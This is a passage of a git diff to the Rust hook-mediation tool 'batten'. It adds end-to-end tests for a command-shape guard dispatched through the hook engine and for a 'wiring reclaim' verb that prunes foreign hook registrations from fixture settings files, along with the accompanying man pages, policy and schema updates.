}, + // The one verb whose subject is a file OUTSIDE the repository (CLOUD-893), + // which makes rule 4 tighter here rather than looser: what it removes is a + // command line off somebody's home directory, so every byte it reports is a + // count plus the harness and event to look under — not a path, and not even + // the offending command's basename. The at-load record it writes obeys the + // same rule, which `crates/batten/tests/wiring_reclaim.rs` asserts over the + // file itself. + // + // Driven with `-n`, which is the only invocation that reads the surfaces and + // writes nothing: this corpus is a fixture tree, and a verb allowed to repair + // it would be measuring bytes it had just rewritten. + Verb { + path: "wiring reclaim", + args: &["-n"], + stdin: Stdin::Nothing, + disposition: Disposition::PointerOnly, + }, Verb { path: "provision status", args: &[], diff --git a/crates/batten/tests/preset_segments.rs b/crates/batten/tests/preset_segments.rs index 72cb47839..e81f66cc7 100644 --- a/crates/batten/tests/preset_segments.rs +++ b/crates/batten/tests/preset_segments.rs @@ -22,7 +22,7 @@ //! drift a corpus over the real config exists to catch. //! //! **The refusal's ATTRIBUTION is asserted, never just the exit code**, and that -//! is the lesson `tests/run-shape-guard-door.bats`'s header records: this +//! is the lesson `crates/batten/tests/run_shape_guard_door.rs`'s header records: this //! repository's own rows refuse commands in the same family, so an exit 2 alone //! would let some other row's verdict stand in for the preset's — coverage that //! has stopped testing the thing it names. diff --git a/crates/batten/tests/run_shape_guard_door.rs b/crates/batten/tests/run_shape_guard_door.rs new file mode 100644 index 000000000..7fb657024 --- /dev/null +++ b/crates/batten/tests/run_shape_guard_door.rs @@ -0,0 +1,341 @@ +//! `run-shape-guard` driven THROUGH the door, over the compiled binary. +//! +//! **The second tier for CLOUD-312 row 11, and CLOUD-312's own differential +//! obligation**: the retiring registration's fixtures replay through +//! `batten hook` before the registration is deleted. `tests/run-shape-guard.bats` +//! runs the script directly, which cannot answer the question that actually +//! broke the previous migration — whether the ENGINE can consume what this +//! script produces. +//! +//! It broke exactly once and silently: `connector-allow-guard` went behind the +//! door still writing `hookSpecificOutput` on stdout, which is +//! `Violation::ImpersonatedHost` — reported and never forwarded — so every +//! verdict it produced was discarded for the life of the migration and no suite +//! noticed. This file is the row that would have. +//! +//! **THE FIXTURE REPOSITORY CARRIES ONE HANDLER ROW AND NO `[[rule]]` AT ALL.** +//! That isolation is the whole design: `verdict-not-discarded` and the other +//! mediated rows in the real `batten.toml` refuse commands in this same family, +//! so driving the real config would let an engine row's verdict stand in for the +//! handler's — the substitution that hid the defect the first time. +//! +//! **Rust rather than a `.bats` suite** (CLOUD-843). `shell-retirement` refuses +//! a new `tests/*.bats`, and it is right to: the campaign's corpus has to shrink +//! rather than stay level while the census reports movement. Writing the +//! door tier here costs nothing it would have had in bash — the fixture is the +//! same fixture and the binary is the same binary — and `.claude/rules/rust.md` +//! already prefers an end-to-end test over the compiled binary for anything a +//! consumer depends on. + +//! **UNIX ONLY, and the gate is load-bearing rather than tidy.** Every case here +//! dispatches a `#!/usr/bin/env bash` program as a `[[hook.handler]]` row. On a +//! Windows runner the spawn ladder resolves the interpreter the shebang names +//! and cannot start it, so the door reports a could-not-run and forwards +//! nothing. The cases that assert an ABSENCE — an allowed command, a dropped +//! verdict — therefore passed there for the wrong reason, while the ones that +//! assert a handler's refusal REACHING the host failed outright. Half a suite +//! green over a mechanism that never ran is the vacuous-pass class this file was +//! written to expose, so it is gated rather than split. +//! +//! `board_record.rs` gates its whole suite on the same rung of the same ladder, +//! and `tests/run-shape-guard.bats` — the tier this one is the second half of — +//! never ran on Windows either, so nothing is narrowed that was covered. + +// Panicking on setup failure is the idiomatic way for a test to fail loudly. +#![cfg(unix)] +#![allow(clippy::unwrap_used, clippy::expect_used)] + +mod common; + +use std::path::{Path, PathBuf}; + +use common::{at_root, run_with_stdin, scratch, stderr, stdout, write}; + +/// A fixture repository carrying exactly one `[[hook.handler]]` row. +/// +/// The guard and its `payload-field` helper are COPIED from this tree rather +/// than written here, so `mise run mutant` reaches this tier: under `mutant` +/// that tree is the mutated one, and a fixture with its own inlined copy would +/// be green over every mutation. +fn fixture(name: &str) -> PathBuf { + let dir = scratch(name); + std::fs::create_dir_all(dir.join("mise-tasks")).expect("the fixture's task dir"); + for task in ["run-shape-guard.sh", "payload-field.sh"] { + let from = at_root("mise-tasks").join(task); + let to = dir.join("mise-tasks").join(task); + std::fs::copy(&from, &to).expect("the guard is copied from this tree"); + make_executable(&to); + } + // The guard resolves `mise.toml` beside itself for the cargo family. An + // empty one keeps that arm defined and silent; the cargo family's own corpus + // stays in the direct suite, where a fixture `mise.toml` is what it tests. + write(&dir, "mise.toml", "[tools]\n"); + write( + &dir, + "batten.toml", + r#"version = 1 + +[[hook.handler]] +id = "run-shape-guard" +on = "pre-tool" +run = ["mise-tasks/run-shape-guard.sh"] +matcher = "Bash" +timeout_ms = 8000 +owner = "CLOUD-613" +expires = "2027-02-28" +"#, + ); + dir +} + +// No `#[cfg(unix)]` pair here: the module gate above already decides the target, +// so a `#[cfg(not(unix))]` twin would be a definition nothing can reach. +fn make_executable(path: &Path) { + use std::os::unix::fs::PermissionsExt as _; + let mut mode = std::fs::metadata(path) + .expect("the copy exists") + .permissions(); + mode.set_mode(0o755); + std::fs::set_permissions(path, mode).expect("the copy is runnable"); +} + +/// What the door said to the host, and what it said about the handler. +struct Door { + out: String, + err: String, +} + +impl Door { + fn denied(&self) -> bool { + self.out.contains(r#""permissionDecision":"deny""#) + } + + fn allowed(&self) -> bool { + !self.out.contains(r#""deny""#) + } + + /// Nothing the door reports about the handler ITSELF — which is different + /// from "the handler said nothing", and is the distinction this file exists + /// for. + fn unbroken(&self) -> bool { + !self.err.contains("hook.handler run-shape-guard:") + } +} + +fn envelope(command: &str, background: bool) -> String { + let encoded = serde_json::to_string(command).expect("a command is encodable"); + let extra = if background { + r#","run_in_background":true"# + } else { + "" + }; + format!( + "{{\"hook_event_name\":\"PreToolUse\",\"tool_name\":\"Bash\",\ + \"tool_input\":{{\"command\":{encoded}{extra}}}}}" + ) +} + +fn door(dir: &Path, command: &str) -> Door { + door_envelope(dir, &envelope(command, false)) +} + +fn door_bg(dir: &Path, command: &str) -> Door { + door_envelope(dir, &envelope(command, true)) +} + +fn door_envelope(dir: &Path, payload: &str) -> Door { + let outcome = run_with_stdin(dir, &["hook", "--harness", "claude-code"], payload); + Door { + out: stdout(&outcome), + err: stderr(&outcome), + } +} + +/// Replace the copied guard with a stub that answers on the handler contract. +/// +/// **The door's own claims are asserted through this rather than through the +/// committed guard**, because that guard cannot answer on the contract today — +/// see `the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped`. +/// Driven against it, every case below would fail for the guard's reason instead +/// of for its own. +fn stub_guard(dir: &Path, body: &str) { + write( + dir, + "mise-tasks/run-shape-guard.sh", + &format!("#!/usr/bin/env bash\n{body}\n"), + ); + make_executable(&dir.join("mise-tasks/run-shape-guard.sh")); +} + +#[test] +fn the_committed_guard_writes_a_host_document_so_its_verdict_is_dropped() { + // THE MEASURED DEFECT, asserted rather than described. The committed guard + // denies by printing `hookSpecificOutput` on stdout and exiting 0; behind the + // door `impersonates_host` reads that shape BEFORE the exit code, so the + // outcome is `Broke(ImpersonatedHost)` — and every `Broke` variant ALLOWS. + // + // It is the same class `connector-allow-guard` was measured in on 2026-08-26, + // and the same reason it is asserted rather than fixed: the repair is an edit + // to a governed shell file, which `shell-retirement` admits only for a file + // being retired, and this one cannot retire while its cargo family has no + // surface (CLOUD-856). + // + // So the guard stays natively registered rather than dispatched, and this + // case is the record of why. It FLIPS the day the guard is repaired. + let dir = fixture("door-no-host-document"); + let answer = door(&dir, "cd /tmp; sleep 90; git log --oneline -1"); + assert!( + answer + .err + .contains("hook.handler run-shape-guard: wrote a host decision document"), + "the committed guard still impersonates the host; if this now fails, the \ + guard was repaired and the stubbed cases below should be restored to \ + driving it: {}", + answer.err + ); + // And what it tried to write did not become a verdict. + assert!(answer.allowed(), "{}", answer.out); +} + +#[test] +fn a_handler_deny_reaches_the_host_with_its_reason_attributed() { + // Exit 2 with the reason on stderr is the contract, and this is the door + // rendering it — attributed to the handler BY THE ENGINE, which is the + // difference between a verdict that travelled and one a script printed to + // itself. + let dir = fixture("door-handler-deny"); + stub_guard( + &dir, + "printf 'a foreground sleep spends the turn\\n' >&2\nexit 2", + ); + + let answer = door(&dir, "cd /tmp; sleep 90; git log --oneline -1"); + assert!(answer.denied(), "{}", answer.out); + assert!( + answer.out.contains("hook.handler.run-shape-guard"), + "{}", + answer.out + ); + assert!(answer.out.contains("foreground"), "{}", answer.out); +} + +#[test] +fn the_handler_receives_the_hosts_own_payload_including_the_calls_background_flag() { + // THE LOAD-BEARING CASE for the migration, and the one thing a reader would + // reasonably fear the extra hop loses: `run_in_background` is a property of + // the CALL rather than of the command string, and it is what tells a timer + // from a wait. It survives, because a handler is handed the host's own raw + // payload rather than the engine's normalized envelope. + // + // The stub decides on nothing else, so this asserts the HOP rather than any + // predicate: it denies iff the flag arrived. + let dir = fixture("door-background-flag"); + stub_guard( + &dir, + "raw=$(cat)\ncase \"$raw\" in\n*'\"run_in_background\":true'*)\n printf 'the flag arrived\\n' >&2; exit 2 ;;\nesac\nexit 0", + ); + + let backgrounded = door_bg(&dir, "sleep 590; tail -6 /tmp/land.log"); + assert!(backgrounded.denied(), "{}", backgrounded.out); + assert!( + backgrounded.out.contains("the flag arrived"), + "{}", + backgrounded.out + ); + + // The discrimination, without which a stub that denied everything would + // satisfy the half above (CLOUD-418): the same command with no flag on the + // call is allowed, so it is the FACT being read and not the command string. + let foreground = door(&dir, "sleep 590; tail -6 /tmp/land.log"); + assert!(foreground.allowed(), "{}", foreground.out); +} + +#[test] +fn a_backgrounded_wait_on_a_condition_stays_allowed() { + // Driven against the COMMITTED guard deliberately, because this is its allow + // path and the allow path is not broken: the guard prints a document only + // when it denies, so a command it passes leaves the door silent either way. + // A guard refusing every backgrounded sleep would fail this and be the false + // positive that gets a guard switched off (CLOUD-418). + let dir = fixture("door-background-wait"); + let answer = door_bg(&dir, "until [ -f /tmp/done ]; do sleep 1; done"); + assert!(answer.allowed(), "{}", answer.out); + assert!(answer.unbroken(), "{}", answer.err); +} + +#[test] +fn an_ordinary_command_is_none_of_this_guards_business() { + let dir = fixture("door-ordinary"); + let answer = door(&dir, "ls -la"); + assert!(answer.allowed(), "{}", answer.out); + assert!(answer.err.is_empty(), "{}", answer.err); +} + +#[test] +fn a_non_bash_tool_never_reaches_the_handler_at_all() { + // `matcher` is the ENGINE's narrowing, not the script's, so it is only + // assertable here. Without it this row costs a spawn on every mediated call. + let dir = fixture("door-non-bash"); + let answer = door_envelope( + &dir, + r#"{"hook_event_name":"PreToolUse","tool_name":"Read","tool_input":{"file_path":"/tmp/x"}}"#, + ); + assert!(answer.allowed(), "{}", answer.out); + assert!(answer.err.is_empty(), "{}", answer.err); +} + +#[test] +fn the_impersonation_detector_is_live_behind_this_row() { + // THE POSITIVE CONTROL. Every negative case above is also satisfied by a + // handler that never ran, so this one makes the guard write the host + // document on purpose and requires the door to name it. + let dir = fixture("door-impersonation"); + write( + &dir, + "mise-tasks/run-shape-guard.sh", + "#!/usr/bin/env bash\nprintf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"x\"}}\\n'\n", + ); + make_executable(&dir.join("mise-tasks/run-shape-guard.sh")); + let answer = door(&dir, "ls -la"); + assert!( + answer + .err + .contains("hook.handler run-shape-guard: wrote a host decision document"), + "{}", + answer.err + ); + assert!(answer.allowed(), "{}", answer.out); +} + +#[test] +fn the_bypass_reaches_the_handler_through_the_door() { + // A refusal whose bypass cannot be reached is not a remedy (§5). The engine + // passes the environment through, so the guard's own hatch still works from + // behind the door — which is not automatic and is worth one case. + let dir = fixture("door-bypass"); + let payload = envelope("cd /tmp; sleep 90; echo done", false); + let outcome = common::batten() + .current_dir(&dir) + .args(["hook", "--harness", "claude-code"]) + .env("BATTEN_RUN_SHAPE_BYPASS", "1") + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .and_then(|mut child| { + use std::io::Write as _; + child + .stdin + .as_mut() + .expect("stdin is piped") + .write_all(payload.as_bytes())?; + child.wait_with_output() + }) + .expect("the binary runs"); + let answer = Door { + out: stdout(&outcome), + err: stderr(&outcome), + }; + assert!(answer.allowed(), "{}", answer.out); + assert!(answer.unbroken(), "{}", answer.err); +} diff --git a/crates/batten/tests/wiring_reclaim.rs b/crates/batten/tests/wiring_reclaim.rs new file mode 100644 index 000000000..2fb143a96 --- /dev/null +++ b/crates/batten/tests/wiring_reclaim.rs @@ -0,0 +1,376 @@ +//! `batten wiring reclaim`, over the compiled binary against a real `$HOME`. +//! +//! **The second tier for the verb (CLOUD-893).** `wiring.rs`'s own unit cases +//! pin `prune_siblings` against documents they build themselves, which is the +//! `with input as` shape `.claude/rules/policy-modules.md` names: it fabricates +//! the document the ENGINE may be unable to locate, so every one of them could +//! pass over a verb that reads the wrong home directory, refuses without `-y` in +//! the wrong direction, or writes the record after the repair instead of before. +//! +//! Those four are what this file asserts. +//! +//! **WHY A FIXTURE `$HOME` AND NOT THIS CONTAINER'S.** The verb's whole subject +//! is a file under the caller's home directory, and this container HAS one — +//! with the two launcher-provisioned registrations CLOUD-605 owns still in it. A +//! suite driving the real one would repair the box it is measuring, exactly +//! once, and every later run would assert over a state the first run destroyed. +//! `etcetera` resolves the home directory, so overriding it is the whole +//! isolation. +//! +//! **AND `$HOME` IS ONLY HALF OF THAT OVERRIDE**, which is the same shape +//! `common::state_home`'s header already records one axis over: a redirect +//! spelled for POSIX and silently inert on Windows. `etcetera::home_dir()` +//! wraps `std::env::home_dir()`, which reads `USERPROFILE` there and has never +//! heard of `HOME` — so on the Windows runner this fixture was not in play at +//! all and the verb read the RUNNER's home. +//! +//! It did not fail the suite, it split it: the two cases asserting an ABSENCE — +//! a refusal without `-y`, a record not written — passed over a home carrying +//! no surface, while the two asserting the counts failed with `0 sibling +//! registration(s) across 0 surface(s) read`. Half a suite green over a fixture +//! that was never in play is the vacuous pass this header is about, one layer +//! up. `common::at_home` sets both spellings, so the isolation is one call +//! rather than a variable per platform remembered per spawn. +//! +//! **Rust rather than a `.bats` suite** (CLOUD-843): `shell-retirement` refuses +//! a new one, correctly — the campaign's corpus has to shrink rather than stay +//! level while the census reports movement. Nothing here needed bash. + +// Panicking on setup failure is the idiomatic way for a test to fail loudly. +#![allow(clippy::unwrap_used, clippy::expect_used)] + +mod common; + +use std::path::{Path, PathBuf}; + +use common::{StateHome as _, git_in, scratch, stderr, stdout, write}; + +/// One merged surface carrying one batten registration and two siblings. +/// +/// `.claude/launcher-settings.json` is a path `Harness::merge_surfaces` +/// declares, so this is the real selection rather than a name invented here. +const SURFACE: &str = r#"{ + "hooks": { + "SessionStart": [ + { + "hooks": [ + {"type": "command", "command": "batten hook --harness claude-code"}, + {"type": "command", "command": "/opt/launcher/session-start-git-identity.sh"} + ] + } + ], + "Stop": [ + {"hooks": [{"type": "command", "command": "/opt/launcher/stop-hook-git-check.sh"}]} + ] + } +} +"#; + +struct Bench { + repo: PathBuf, + home: PathBuf, +} + +impl Bench { + fn surface(&self) -> PathBuf { + self.home.join(".claude/launcher-settings.json") + } + + fn record(&self) -> PathBuf { + self.repo.join(".git/batten-wiring/at-load.json") + } + + fn surface_text(&self) -> String { + std::fs::read_to_string(self.surface()).expect("the surface is readable") + } + + fn record_text(&self) -> String { + std::fs::read_to_string(self.record()).expect("the record is readable") + } + + /// Drive the verb with the fixture home, keeping the two streams apart: the + /// arithmetic is on stderr (rule 4 — it is a count whose subject is a + /// filename off somebody's disk) and there is no stdout contract at all. + fn reclaim(&self, args: &[&str]) -> (i32, String) { + let outcome = self.run(&[&["wiring", "reclaim"], args].concat()); + (outcome.status.code().unwrap_or(-1), stderr(&outcome)) + } + + fn run(&self, args: &[&str]) -> std::process::Output { + common::batten() + .current_dir(&self.repo) + .args(args) + .at_home(&self.home) + .output() + .expect("the binary runs") + } +} + +fn bench(name: &str) -> Bench { + let dir = scratch(name); + let repo = dir.join("repo"); + std::fs::create_dir_all(&repo).expect("the fixture repo"); + write(&repo, "batten.toml", "version = 1\n"); + git_in(&repo, &["init", "-q", "-b", "main", "."]); + + let home = dir.join("home"); + std::fs::create_dir_all(home.join(".claude")).expect("the fixture home"); + std::fs::write(home.join(".claude/launcher-settings.json"), SURFACE) + .expect("the merged surface"); + Bench { repo, home } +} + +#[test] +fn a_destructive_verb_refuses_without_y_rather_than_prompting() { + // §4's refusal, asserted over the FILE rather than over the exit status: a + // verb that refused and had already written is the failure that matters, and + // an exit code alone cannot tell that apart. + let bench = bench("reclaim-refuses"); + let (status, err) = bench.reclaim(&[]); + assert_eq!(status, 1, "{err}"); + assert!(err.contains("pass -y"), "{err}"); + assert!(!bench.record().exists()); + assert!(bench.surface_text().contains("session-start-git-identity")); +} + +#[test] +fn dry_run_reports_what_would_go_and_writes_nothing() { + let bench = bench("reclaim-dry-run"); + let (status, err) = bench.reclaim(&["-n"]); + assert_eq!(status, 0, "{err}"); + assert!( + err.contains("would remove 2 sibling registration(s)"), + "{err}" + ); + // The per-event rows, which are what make the count actionable without + // naming a path. + assert!( + err.contains("claude-code:SessionStart would remove 1"), + "{err}" + ); + assert!(err.contains("claude-code:Stop would remove 1"), "{err}"); + assert!(!bench.record().exists()); + let surface = bench.surface_text(); + assert!(surface.contains("session-start-git-identity")); + assert!(surface.contains("stop-hook-git-check")); +} + +#[test] +fn the_repair_takes_the_siblings_and_leaves_battens_own_registration() { + let bench = bench("reclaim-repair"); + let (status, err) = bench.reclaim(&["-y"]); + assert_eq!(status, 0, "{err}"); + assert!(err.contains("removed 2 sibling registration(s)"), "{err}"); + + let surface = bench.surface_text(); + // THE LOAD-BEARING POSITIVE. A `retain` at the wrong level takes batten's + // registration out with the sibling sharing its entry, and every negative + // assertion in this file is satisfied by that bug. + assert!( + surface.contains("batten hook --harness claude-code"), + "{surface}" + ); + assert!(!surface.contains("session-start-git-identity"), "{surface}"); + assert!(!surface.contains("stop-hook-git-check"), "{surface}"); + + let doc: serde_json::Value = serde_json::from_str(&surface).expect("still a hook map"); + // `Stop` held nothing else, so the event goes with its last entry rather + // than surviving as an empty array no generator emits. + assert!(doc["hooks"].get("Stop").is_none(), "{surface}"); + assert_eq!( + doc["hooks"]["SessionStart"][0]["hooks"] + .as_array() + .map(Vec::len), + Some(1), + "{surface}" + ); +} + +#[test] +fn record_before_repair_so_it_carries_the_pre_repair_count() { + let bench = bench("reclaim-record"); + bench.reclaim(&["-y"]); + assert!(bench.record().exists()); + + let record = bench.record_text(); + let doc: serde_json::Value = serde_json::from_str(&record).expect("the record parses"); + let total: i64 = doc["rows"] + .as_array() + .expect("rows") + .iter() + .map(|row| row["siblings"].as_i64().unwrap_or(0)) + .sum(); + assert_eq!(total, 2, "{record}"); + + // Rule 4 on the record itself. It lives under `$GIT_DIR` and is never + // committed, and it still carries no path and no filename: the harness and + // the event are where to look, and a basename would be a name off somebody's + // disk bought for a nicer message. + assert!( + !record.contains(&bench.home.display().to_string()), + "{record}" + ); + assert!(!record.contains("launcher"), "{record}"); + assert!(!record.contains("git-identity"), "{record}"); + assert!(!record.contains('/'), "{record}"); +} + +#[test] +fn the_record_is_written_once_so_a_second_run_cannot_report_the_repair() { + let bench = bench("reclaim-once"); + let (_, first) = bench.reclaim(&["-y"]); + assert!(first.contains("removed 2 sibling"), "{first}"); + + // THE WHOLE ORDERING PROPERTY. A second reclaim finds nothing — and must not + // overwrite a record saying 2 with one saying 0, because the record + // describes what the RUNNING session loaded and that has not changed. + let (_, second) = bench.reclaim(&["-y"]); + assert!(second.contains("removed 0 sibling"), "{second}"); + + let doc: serde_json::Value = + serde_json::from_str(&bench.record_text()).expect("the record parses"); + let total: i64 = doc["rows"] + .as_array() + .expect("rows") + .iter() + .map(|row| row["siblings"].as_i64().unwrap_or(0)) + .sum(); + assert_eq!(total, 2); +} + +#[test] +fn doctor_hooks_reports_the_record_beside_the_live_count() { + // The two numbers that must be able to disagree. Before the repair there is + // no record — `null`, which is read-the-disk — and after it the disk says + // zero while the record says two. + let bench = bench("reclaim-doctor"); + let before = stdout(&bench.run(&["doctor", "hooks", "-J"])); + let before_doc: serde_json::Value = serde_json::from_str(&before).expect("a diagnosis"); + assert!(before_doc["at_load_siblings"].is_null(), "{before}"); + + bench.reclaim(&["-y"]); + let after = stdout(&bench.run(&["doctor", "hooks", "-J"])); + let after_doc: serde_json::Value = serde_json::from_str(&after).expect("a diagnosis"); + assert_eq!(after_doc["at_load_siblings"].as_i64(), Some(2), "{after}"); + + // And the live half genuinely fell, or the two numbers would agree for the + // wrong reason. + let live: i64 = after_doc["harnesses"] + .as_array() + .expect("harnesses") + .iter() + .map(|harness| harness["merged_siblings"].as_i64().unwrap_or(0)) + .sum(); + assert_eq!(live, 0, "{after}"); +} + +#[test] +fn a_session_start_expires_the_record_which_is_the_restart_this_reports() { + let bench = bench("reclaim-expiry"); + bench.reclaim(&["-y"]); + assert!(bench.record().exists()); + + // The one moment the disk and what a harness has loaded are the same thing, + // and therefore the only honest place to drop the record. Driven through the + // real hook entry point rather than by deleting the file, because what is + // asserted is that the ENGINE does it. + let outcome = { + use std::io::Write as _; + let mut child = common::batten() + .current_dir(&bench.repo) + .args(["hook", "--harness", "claude-code"]) + .at_home(&bench.home) + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .expect("the binary runs"); + child + .stdin + .take() + .expect("stdin is piped") + .write_all(br#"{"hook_event_name":"SessionStart"}"#) + .expect("write stdin"); + child.wait_with_output().expect("wait for batten") + }; + assert!(outcome.status.success(), "{}", stderr(&outcome)); + assert!(!bench.record().exists()); +} + +#[test] +fn a_merged_surface_that_is_not_a_wiring_file_is_left_alone() { + // Could-not-look, and the direction matters: a document this verb cannot + // read as a hook map is one it must not write back, or a repair would + // silently reformat a file whose shape it never understood. + let bench = bench("reclaim-unreadable"); + std::fs::write(bench.surface(), "[]\n").expect("an unreadable surface"); + let (status, err) = bench.reclaim(&["-y"]); + assert_eq!(status, 0, "{err}"); + assert_eq!(bench.surface_text(), "[]\n"); + assert!(err.contains("0 surface(s) read"), "{err}"); +} + +#[test] +fn a_checkout_sitting_at_the_home_directory_is_never_its_own_merged_surface() { + // The `same_file` arm, driven by the collision its comment describes: every + // path `merge_surfaces` declares is resolved against BOTH the home directory + // and the repository, so a checkout sitting at `$HOME` resolves each of them + // to one file. Without the arm this verb would rewrite a version-controlled + // file and fight `tree-clean` on every run. + // + // The collision is TOTAL here, not partial: the launcher surface deduplicates + // for exactly the reason the settings one does, so the honest expectation is + // ZERO surfaces read rather than one. The first draft of this case asserted + // the launcher file was still reclaimed, which was a wrong premise rather + // than a bug. + let bench = bench("reclaim-home-checkout"); + std::fs::copy(bench.surface(), bench.home.join(".claude/settings.json")) + .expect("the colliding surface"); + git_in(&bench.home, &["init", "-q", "-b", "main", "."]); + std::fs::copy( + bench.repo.join("batten.toml"), + bench.home.join("batten.toml"), + ) + .expect("the authority"); + + let outcome = common::batten() + .current_dir(&bench.home) + .args(["wiring", "reclaim", "-y"]) + .at_home(&bench.home) + .output() + .expect("the binary runs"); + assert!(outcome.status.success(), "{}", stderr(&outcome)); + let said = format!("{}{}", stdout(&outcome), stderr(&outcome)); + assert!(said.contains("0 surface(s) read"), "{said}"); + + // Untouched, both of them — which is the whole claim. That this is not + // simply "the verb never works" is what the cases above establish, over the + // same binary and a home directory the repository does not sit in. + let settings = + std::fs::read_to_string(bench.home.join(".claude/settings.json")).expect("still readable"); + assert!( + settings.contains("session-start-git-identity"), + "{settings}" + ); + let surface = bench.surface_text(); + assert!(surface.contains("session-start-git-identity"), "{surface}"); + assert!(surface.contains("stop-hook-git-check"), "{surface}"); +} + +/// Kept honest: the fixture home is never this container's. +/// +/// **THE REAL HOME IS READ IN BOTH SPELLINGS**, for the reason the header gives: +/// `HOME` alone is empty on Windows, so this guard — the one case whose whole job +/// is proving the isolation — was the last one still asking a POSIX-only +/// question, and it failed there on `!real.is_empty()` while every case it +/// guards had already been repaired. `at_home` sets both, so this reads both. +#[test] +fn the_fixture_home_is_never_the_real_one() { + let bench = bench("reclaim-isolation"); + let real = std::env::var("HOME") + .or_else(|_| std::env::var("USERPROFILE")) + .unwrap_or_default(); + assert!(!real.is_empty()); + assert_ne!(bench.home.display().to_string(), real); + assert!(Path::new(&real).exists()); +} diff --git a/fuzz/Cargo.lock b/fuzz/Cargo.lock index 101a289ee..d6728a23d 100644 --- a/fuzz/Cargo.lock +++ b/fuzz/Cargo.lock @@ -108,7 +108,7 @@ checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" [[package]] name = "batten" -version = "0.0.124" +version = "0.0.125" dependencies = [ "anyhow", "clap", diff --git a/hk.pkl b/hk.pkl index 50b3e454e..de6490305 100644 --- a/hk.pkl +++ b/hk.pkl @@ -295,12 +295,23 @@ local gate = new Mapping { // does not own, so it is compared entry-wise after canonicalization — not that // shape (CLOUD-62). Its glob is the wiring rows, the surface row that emits // them, and the committed wiring itself. + // + // `doctor.rs` AND `batten.toml` ARE IN THE GLOB BECAUSE THE VERDICT IS + // COMPUTED THERE. The gate stopped deriving the comparison itself when + // CLOUD-777 moved it in-process: it now calls `batten doctor hooks -J` and + // reads the answer, so `doctor.rs` decides every finding this step reports and + // was not a trigger for it — a change to the deciding code did not re-run the + // check that depends on it. `batten.toml` joins it for the same reason once + // `[[hook.handler]]` is a wiring destination: a handler row is a registration + // this gate is the census over. ["hooks-wiring-check"] { glob = List( "crates/batten/src/hook.rs", + "crates/batten/src/doctor.rs", "crates/batten/src/surface.rs", ".claude/settings.json", + "batten.toml", "mise-tasks/hooks-wiring-check.sh", ) check = "mise run hooks-wiring-check" diff --git a/man/batten-wiring-reclaim.1 b/man/batten-wiring-reclaim.1 new file mode 100644 index 000000000..a2d6711d1 --- /dev/null +++ b/man/batten-wiring-reclaim.1 @@ -0,0 +1,16 @@ +.ie \n(.g .ds Aq \(aq +.el .ds Aq ' +.TH batten-wiring-reclaim 1 batten +.SH NAME +batten\-wiring\-reclaim \- Remove non\-batten hook registrations from this host\*(Aqs merged surfaces +.SH SYNOPSIS +\fBbatten wiring reclaim\fR [\fB\-n\fR|\fB\-\-dry\-run\fR] [\fB\-h\fR|\fB\-\-help\fR] +.SH DESCRIPTION +Remove non\-batten hook registrations from this host\*(Aqs merged surfaces +.SH OPTIONS +.TP +\fB\-n\fR, \fB\-\-dry\-run\fR +Preview what would be applied, writing nothing +.TP +\fB\-h\fR, \fB\-\-help\fR +Print help diff --git a/man/batten-wiring.1 b/man/batten-wiring.1 new file mode 100644 index 000000000..b39271d0b --- /dev/null +++ b/man/batten-wiring.1 @@ -0,0 +1,20 @@ +.ie \n(.g .ds Aq \(aq +.el .ds Aq ' +.TH batten-wiring 1 batten +.SH NAME +batten\-wiring \- Repair a host\*(Aqs hook registrations +.SH SYNOPSIS +\fBbatten wiring\fR [\fB\-h\fR|\fB\-\-help\fR] <\fIsubcommands\fR> +.SH DESCRIPTION +Repair a host\*(Aqs hook registrations +.SH OPTIONS +.TP +\fB\-h\fR, \fB\-\-help\fR +Print help +.SH SUBCOMMANDS +.TP +batten\-wiring\-reclaim(1) +Remove non\-batten hook registrations from this host\*(Aqs merged surfaces +.TP +batten\-wiring\-help(1) +Print this message or the help of the given subcommand(s) diff --git a/man/batten.1 b/man/batten.1 index 7ea0802e8..3cdbf09b0 100644 --- a/man/batten.1 +++ b/man/batten.1 @@ -130,6 +130,9 @@ Design\-evidence claims: the integrity of the record behind a decision batten\-state(1) The out\-of\-tree findings store: which store belongs to this checkout .TP +batten\-wiring(1) +Repair a host\*(Aqs hook registrations +.TP batten\-help(1) Print this message or the help of the given subcommand(s) .SH EXTRA diff --git a/policy/module-layering.rego b/policy/module-layering.rego index 35a601c32..4060db35d 100644 --- a/policy/module-layering.rego +++ b/policy/module-layering.rego @@ -103,6 +103,20 @@ declared_modules := { # artifacts and reads the volume — so it sits with the acquisition modules # and its back-edges are forbidden for their reason. "prune", + # `wiring` arrived with CLOUD-893 and it worked a sixth time, on a rebase + # rather than on a fresh write: the module landed on a branch based before + # this table's last row and nothing said so until `main` moved under it. + # + # It is a REPAIRER — the one module that edits a hook surface rather than + # reading one — so its placement is the interesting half. It sits beside + # `doctor`, which diagnoses the same surfaces it repairs, and below `hook`, + # whose `WiringFile` it reads to know which file is whose. It reaches no + # decider: the verdict about whether a registration may stand is + # `hooks-wiring-check`'s and the engine's `[hook] exclusive`, and this module + # only carries out a removal something else already decided, which is what + # keeps `batten wiring reclaim` from becoming a second authority on the + # registration policy. + "wiring", } # THE FORBIDDEN EDGES, each traceable to prose already in the tree. diff --git a/schema/batten.schema.json b/schema/batten.schema.json index 13d925789..c0f0f9798 100644 --- a/schema/batten.schema.json +++ b/schema/batten.schema.json @@ -1255,6 +1255,13 @@ "description": "One declared handler.", "type": "object", "properties": { + "expires": { + "description": "The date past which this handler is overdue, `YYYY-MM-DD`.\n\nNot an expiry that switches the handler OFF: a dispatched program that\nsilently stopped running is the fail-open this whole surface exists to\nclose. It is a date past which the DIAGNOSIS says so, which is the only\nform of pressure that cannot itself become an outage.", + "type": [ + "string", + "null" + ] + }, "id": { "description": "The stable identifier a verdict, a violation and a timing are reported\nunder.\n\nSeparate from the command for [`crate::action::Action`]'s reason: the\nargv is free to change without the thing it is called in reports changing\nwith it. Here it carries a second load — it is the key a per-handler\ntiming series is recorded against, so a renamed handler starts a new\nseries rather than silently continuing another's.", "type": "string" @@ -1270,6 +1277,17 @@ "description": "The event this handler runs on, as [`Event::as_str`] spells it.\n\nA **normalized** token, never a host's own word — `action`'s 